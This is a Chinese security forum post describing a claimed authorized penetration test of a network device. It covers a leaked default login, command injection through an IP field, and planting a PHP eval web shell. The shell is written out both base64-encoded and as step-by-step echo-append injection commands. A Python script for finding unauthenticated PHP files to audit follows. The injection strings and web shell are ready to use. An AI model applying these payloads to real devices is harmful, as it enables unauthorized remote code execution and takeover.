安全矩阵

 找回密码
 立即注册
搜索
查看: 1402|回复: 0

某设备由黑到白

[复制链接]

65

主题

65

帖子

241

积分

中级会员

Rank: 3Rank: 3

积分
241
发表于 2022-7-20 20:07:25 | 显示全部楼层 |阅读模式
本帖最后由 PEnticE 于 2022-7-20 20:08 编辑

某设备由黑到白 (qq.com)
本文章仅用于渗透交流学习,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任   
注:本次测试为授权测试
前言:本文没啥特别实际的技术,只是给大家分享一些思路和自己的一些的一些思考,具体的系统师傅们自己定位。
正文:利用该系统的nday 密码泄露
获取密码 解密后进入后台


admin
ruijie
耐心的进行测试进行获取参数以及拼接|ls>1.txt 进行查看是否存在执行 在这个点处发觉

有一个ha配置
这里存在ip进行测试
进行抓包点击测试 然后进行抓包



成功列出文件
进行写马
127.0.0.1|echo+"PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg=="+|base64+-d+>test.php

发觉无法连接 怀疑是没写进去
尝试写入到txt中查看
发觉没任何东西

但是文件确实存在 如果不存在则会爆404

尝试hex编码的一样无果 无法写入写入内容为空
尝试正常写入内容看看 不使用编码的思路去写入

成功写入内容

那就直接写入试试 看看回显什么,是禁止了字符还是其他原因

和预期的差不多(这个少了$_post好像是由于linux特性问题 linux好像无法直接利用echo写入马 会吐掉字符 以前研究过 但是具体啥原因 没整明白)
那就是不能进行base64和hex编码写入的原因了

那就尝试echo+追加思路写马(以前打ctf的时候学到的tips)
这里有个知识点
echo 1 >test.txt 这种是属于覆盖进行写入
echo 1 >>test.txt这种是追加进行写入
因此我们可以一步一步追加进行写马
127.0.0.1|echo+'<?php'>test.txt

127.0.0.1|echo+'@eval('>>test.txt
127.0.0.1|echo+'$_POST[' >>test.txt
127.0.0.1|echo+'1])'>>test.txt
127.0.0.1|echo+'?>'>>a

写入后最终txt如下 利用cat读取在写入到test.php中

127.0.0.1|cat+test.txt+>test.php

然后连接即可

进一步扩大战果
由黑转白 获取源码进行代码审计 个人习惯吧 比较喜欢白+黑审起来更快
数枚后台rce和其他洞 几枚前台
放其中一个 这个就蛮简单的了 就是简单的参数输入进来进行拼接导致rce


简单写个exp检测(这里推荐pocsuite,蛮好用的) 本来以为是属于0day了 但是跑了一篇后发觉很多都修了 应该是其他大佬们光顾过了


进一步拓展利用 有了rce但是想获取密码进行进里面去进一步获取战果
查看最开始的密码泄露原因

发觉是读取的这个配置文件

进去读取文件即可发觉配置的MD5加密密码
另外一种思路就是直接覆盖掉这个文件 可控为我们想控制的密码即可


另外一种思路 但是提一嘴(这个系统的这个我没试过,其他的系统我试过之前):简单看一下认证逻辑
是通过login函数来判断的 因此我们可以去改login()实现

一个思考白盒审计快速提取非鉴权文件技巧
如在本系统中 鉴权文件属于使用authenticed_writable.php以及authenticate.php


在尝试了phpstorm的正则匹配反向匹配文件后发觉是这种的 还是太慢了
正向文件量太大 且获取的是鉴权文件不方便提取

利用反向的思路去匹配吧 文件更大了

在思考了很久以及询问了一些师傅后还是觉得自写一个py脚本去处理比较简单点
简单找个匹配的改下即可

  1. <p>
  2. #coding=utf8
  3. import os
  4. import re
  5. import shutil</p><p>
  6. pattern = re.compile(r'(authenticed_writable.php)')
  7. pattern1 =re.compile(r'(authenticate.php)')
  8. pattern2 =re.compile(r'(authenticate.php)')
  9. new_path="F:\ces"
  10. def readFilename(file_dir):
  11.     for root, dirs, files in os.walk(file_dir):
  12.         return files,dirs,root

  13. def findstring(pathfile,edcode):
  14.     fp = open(pathfile, "r",encoding=edcode)#注意这里的打开文件编码方式
  15.     strr = fp.read()
  16.     txt = pattern.findall(strr)
  17.     if txt == []:
  18.         return True
  19.     return False

  20. def findstring2(pathfile,edcode):
  21.     fp = open(pathfile, "r",encoding=edcode)#注意这里的打开文件编码方式
  22.     strr = fp.read()
  23.     txt = pattern1.findall(strr)
  24.     if txt == []:
  25.         return True
  26.     return False

  27. def findstring3(pathfile,edcode):
  28.     fp = open(pathfile, "r",encoding=edcode)#注意这里的打开文件编码方式
  29.     strr = fp.read()
  30.     txt = pattern2.findall(strr)
  31.     if txt == []:
  32.         return True
  33.     return False</p><p>def startfind(files,dirs,root):
  34.     for ii in files:
  35.         try:
  36.             if(findstring(root+"\"+ii,'utf-8') and findstring2(root+"\"+ii,'utf-8') and findstring3(root+"\"+ii,'utf-8')):
  37.                 print (root+"\"+ii)
  38.                 temp=os.path.join(root,ii)
  39.                 txt=open("path.txt","a+")
  40.                 txt.write(temp+"\n")
  41.                 shutil.copyfile(temp,os.path.join(new_path,ii))
  42.         except Exception as err:
  43.             try:
  44.                 if(findstring(root+"\"+ii,'gbk') and findstring2(root+"\"+ii,'gbk') and findstring3(root+"\"+ii,'gbk')):
  45.                     print (root+"\"+ii)
  46.                     temp = os.path.join(root, ii)
  47.                     shutil.copyfile(temp, os.path.join(new_path, ii))
  48.             except Exception as er:
  49.                 continue
  50.             
  51.                
  52.     for jj in dirs:
  53.         fi,di,ro = readFilename(root+"\"+jj)
  54.         startfind(fi,di,ro)
  55.    
  56. if __name__ == '__main__':
  57.     default_dir = u"E:\html"  # 设置默认打开目录
  58.     file_path = default_dir
  59.     files,dirs,root = readFilename(file_path)
  60.     startfind(files,dirs,root)</p><code></code>
复制代码





就可以快速获取非鉴权文件了 在结合seay和rips即可快速对一个项目进行审计前台了  可以少了很多代码量
但是对于asp和jsp的因为是bin和jar文件 需要反编译 这种就无法判断获取了 这种思路就无法适合了 只能利用其他思路快速获取了
这种暂时没啥特别好的思路

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 15:51 , Processed in 0.015048 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表